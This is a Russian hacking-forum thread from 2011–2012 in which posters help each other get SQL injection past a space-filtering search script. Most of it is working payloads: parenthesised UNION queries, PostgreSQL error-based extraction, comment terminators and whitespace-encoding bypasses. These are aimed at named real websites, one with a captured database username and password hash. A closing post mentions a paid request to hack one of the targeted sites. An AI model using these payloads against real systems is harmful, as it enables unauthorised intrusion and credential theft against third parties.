ANTICHAT

ANTICHAT (https://forum.antichat.io/index.php)
-   Песочница (https://forum.antichat.io/forumdisplay.php?f=189)
-   -   Что если SQLскрипт фильтрует побелы, и "+"? (https://forum.antichat.io/showthread.php?t=262754)

am319 05.03.2011 10:33

Имею дело с уязвимым поисковым скриптом. Свободно и без ошибок проходят все инъекции без пробелов и "+", например

?q=asd')OR(1=1)OR('sad'='ssd

но стоит в запросе применить пробел, как выдаеца ошибка.

поизучал скрипт, выяснил что это ииза того, что поисковик обрабатывает слова по отдельности, таксказать...чтобы круче искало...

WHERE ((title ILIKE '%asd')%' AND title ILIKE '%or(1=1)or%')

сопсна вопрос: что делать с этой гадостью, дабы была возможность человеческие инъекции проводить, а не "OR(1=1)"??

str71 05.03.2011 11:12

попробуй использовать

Код:

/**/

am319 05.03.2011 11:40

пробовал.... ему походу ваще на комментарии пофигу... только вот это я не знаю как объяснить

Redwood 05.03.2011 11:50

Например так

Код HTML:

(-1)union(select(1),2,3)
Код HTML:

(-1)union(select(table_name),2,(3)from(information_schema.tables))
Ну и далее перебирать нужные таблицы

Код HTML:

(-1)union(select(table_name),2,(3)from(information_schema.tables)where(table_name>'SCHEMA_PRIVILEGES'))

am319 08.03.2011 10:06

чет ваще не канает...но на вопрос ответил, спс.

а вот еще такой момент:

если известно что имею дело с PostgreSQL, то коректна такая связка?

Код HTML:

OR(select(blabla))

krypt3r 09.03.2011 16:59

Для постгреса валидны варианты

Код:

select"column_name"from"information_schema"."columns"where"table_name"=$$clients$$;
select(column_name)from"information_schema"."columns"where(table_name)='clients';

Имя таблицы в скобках СУБД не принимает

am319 12.03.2011 12:43

чет всеравно выдает трехэтажную ошибку...

есть какойнить способ заставить его игнорировать остальную часть скрипта, кроме /* и # ?

krypt3r 13.03.2011 22:08

Ошибку-то покажите. В постгресе игнорирование остальной части запроса с помощью /* не выйдет - СУБД выдаст ошибку, ибо требует закрытия комментария. # тут вообще не поможет. Пробуйте

Код:

--
+--+
;--
;+--+


am319 14.03.2011 13:49

вбиваю к примеру

Код HTML:

http://site.ru/trade/future/?q=asd')OR(1=1)OR('ass'='as
выполняется успешно, выводятся воообще все результаты (ибо 1=1 везде)

вместо 1=1 подставляю, к примеру select'1'

на что мне отвечают

Код HTML:

ERROR [2] pg_query() [function.pg-query]: Query failed: ERROR: failed to find conversion function from unknown to boolean on line 135 in file /castle/sites/site.ru/htdocs/includes/database/database.pgsql.php  (page: /trade/future/?q=asd')OR(select'1')OR('ass'='as) Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.6.30 Version/10.61ERROR [2] pg_query() [function.pg-query]: Query failed: ERROR: failed to find conversion function from unknown to boolean on line 135 in file /castle/sites/site.ru/htdocs/includes/database/database.pgsql.php  (page: /trade/future/?q=asd')OR(select'1')OR('ass'='as) Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.6.30 Version/10.61
пробовал тут все что умею, но походу недостаточно знаю постгрес

krypt3r 14.03.2011 14:35

Так?

Код:

http://site.ru/trade/future/?q=asd')OR(select'1')...
Правильно пишет - ошибка синтаксиса: не может преобразовать результат подзапроса в булевское значение

XAMEHA 14.03.2011 15:37

Используй всякие дополнительные знаки, типа табебулятия, возврат-перевод каретки и т. д.

am319 14.03.2011 17:06

krypt3r

Ну эт то я и сам увидел, но как только не извращался с этим синтаксисом, не могу заставить его работать с 'select'ом. фантазия уже заканчиваеца

XAMEHA

опаопа! а вот тут поподробней плиз))

Seravin 14.03.2011 17:08

а может хватит гадать и ты просто ссылку выложишь?

krypt3r 14.03.2011 21:19

Подкину пару вариантов

Код:

http://site.ru/trade/future/?q=asd')OR(1=((select(version()))::int))
http://site.ru/trade/future/?q=asd')OR(1)=((select"passwd"from"pg_shadow"limit(1)offset(2))::int)

Ну и примеры. За основу взята одна из инъекций в соответствующей теме.

Запрос

Код:

http://cat.rusbic.ru/?rgn=80&cn=-999)OR(1)=((select(version()))::int);--+
Ответ:

Код:

Warning: pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for integer: "PostgreSQL 8.3.11 on x86_64-pc-linux-gnu, compiled by GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2" in /var/www/rusbic/data/www/rusbic.ru/func/base.php on line 84
Запрос:

Код:

http://cat.rusbic.ru/?rgn=80&cn=-999)OR(1)=((select"usename"||':'||"passwd"from"pg_shadow"limit(1)offset(0))::int);--+
Ответ:

Код:

Warning: pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for integer: "postgres:md5ec63fc1e79539051850385b5ec9411fe" in /var/www/rusbic/data/www/rusbic.ru/func/base.php on line 84

XAMEHA 15.03.2011 03:34

Цитата:

Сообщение от krypt3r
Подкину пару вариантов
Код:

http://site.ru/trade/future/?q=asd')OR(1=((select(version()))::int))
http://site.ru/trade/future/?q=asd')OR(1)=((select"passwd"from"pg_shadow"limit(1)offset(2))::int)

Ну и примеры. За основу взята одна из инъекций в соответствующей теме.
Запрос
Код:

http://cat.rusbic.ru/?rgn=80&cn=-999)OR(1)=((select(version()))::int);--+
Ответ:
Код:

Warning: pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for integer: "PostgreSQL 8.3.11 on x86_64-pc-linux-gnu, compiled by GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2" in /var/www/rusbic/data/www/rusbic.ru/func/base.php on line 84
Запрос:
Код:

http://cat.rusbic.ru/?rgn=80&cn=-999)OR(1)=((select"usename"||':'||"passwd"from"pg_shadow"limit(1)offset(0))::int);--+
Ответ:
Код:

Warning: pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for integer: "postgres:md5ec63fc1e79539051850385b5ec9411fe" in /var/www/rusbic/data/www/rusbic.ru/func/base.php on line 84

Для начала надо понять что тут используеться PostgreSQL.

Вот как можно избавиться от фильтрации пробелов:

Вот статья их хакера:

кажем, ты нашел инъекцию на крупном новостном портале, но никак не можешь ее раскрутить, так как все известные тебе варианты пробелов не работают. Давай рассмотрим такой код

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if(isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]]) &&[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]]!=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]){

if([/
COLOR][COLOR="#0000BB"]strstr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]" "[/COLOR][COLOR="#007700"]) {die[/COLOR][COLOR="#DD0000"]"HACK ALERT"[/COLOR][COLOR="#007700"]};

if([/
COLOR][COLOR="#0000BB"]strstr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]"/**/"[/COLOR][COLOR="#007700"]) {die[/COLOR][COLOR="#DD0000"]"HACK ALERT"[/COLOR][COLOR="#007700"]};

if([/
COLOR][COLOR="#0000BB"]strstr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]"+"[/COLOR][COLOR="#007700"]) {die[/COLOR][COLOR="#DD0000"]"HACK ALERT"[/COLOR][COLOR="#007700"]};

if([/
COLOR][COLOR="#0000BB"]strstr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]"%20"[/COLOR][COLOR="#007700"]) {die[/COLOR][COLOR="#DD0000"]"HACK ALERT"[/COLOR][COLOR="#007700"]};

[/
COLOR][/COLOR

здесь какие-то запросы с использованием переменной $_GET['id']

Как мы видим, при использовании пробелов " ", /**/, + и %20 скрипт прекращает свою работу. На самом деле существует как минимум два способа обхода такого скрипта, первый – использование различных пробельных символов, второй – использование логики SQL запросов, в частности их реализации в MySQL.

1. Итак, первый способ. Помимо самого пробела существует множество различных пробельных символов, табуляция, возврат каретки и так далее. Вот их полный (а может и нет ) список:

%09 – horizontal tab, горизонтальная табуляция

%0A – NL line feed, символ новой строки

%0B – vertical tab, вертикальная табуляция

%0C – NP form feed, символ новой страницы

%0D – carriage return, возврат каретки

Все эти символы будут рассматриваться как пробельные. Пример запроса:

id=-1%0Aunion%0Aselect%0A1

C этим, я думаю, все понятно, перейдем ко второму варианту:

2. В MySQL есть возможность выполнять SQL-код в блоке комментариев, выглядит это примерно так:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]select id[/COLOR][COLOR="#FF8000"]/*!,title*/[/COLOR][COLOR="#0000BB"]from news[/COLOR][/COLOR

В данном случае из таблицы news будут выведены поля id и title. Теперь посмотрим, как это реализовать в боевых условиях:

Цитата:

Сообщение от None
id=-1/*!union*/select/*!version()*/

Но бывает и такое, что фильтруются символы слэша. Тогда можно использовать способ, основанный на использовании скобок в запросе. Вот пример для обхода вышеизложенного скрипта:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]id[/COLOR][COLOR="#007700"]=(-[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]union[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]select[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]version[/COLOR][COLOR="#007700"]()))[/COLOR][/COLOR

Надеюсь ты меня понял

kindunkind 14.01.2012 17:11

Аналогичная проблема, не получается сформировать корректный запрос. А именно отловить закомментировать остаток запроса.

Пример:

http://www.roseltorg.ru/set/announce.php?id=10077'--

https://com.roseltorg.ru/file/get/t/Protocols/?id=1036%27%20order%20by%20100/*

Ereee 14.01.2012 17:14

Цитата:

Сообщение от kindunkind
Аналогичная проблема, не получается сформировать корректный запрос. А именно отловить закомментировать остаток запроса.
Пример:
http://www.roseltorg.ru/set/announce.php?id=10077'--

Там нет скульи. Ибо интвалится...

Konqi 14.01.2012 17:19

Цитата:

Сообщение от Ereee
Там нет скульи. Ибо интвалится...

http://www.roseltorg.ru/set/announce.php?id=1test

invalid input syntax for integer: "1test"

переменная id без изменений попадает в запрос, никакого intval а там нету

Boolean 14.01.2012 19:52

%0A, и все ок.

http://etp.roseltorg.ru/trade/future/?q=%27%29%0A--%0A1

kindunkind 15.01.2012 20:09

Цитата:

Сообщение от Boolean
%0A, и все ок.
http://etp.roseltorg.ru/trade/future/?q=%27%29%0A--%0A1

судя по всему это не инъекция

kindunkind 15.01.2012 20:13

интересуюти данные запросы:

http://www.roseltorg.ru/set/announce.php?id=10077'--

https://com.roseltorg.ru/file/get/t/Protocols/?id=1036%27%20order%20by%20100/*

Ereee 15.01.2012 21:09

Цитата:

Сообщение от kindunkind
интересуюти данные запросы:
http://www.roseltorg.ru/set/announce.php?id=10077'--
https://com.roseltorg.ru/file/get/t/Protocols/?id=1036%27%20order%20by%20100/*

[offtop]

Мне этот сайт заказали за 300к WMR, потом снизили цену аж до 5k WMR. Поэтому осторожней с заказчиком, я его послал =\

[/offtop]


Время: 15:08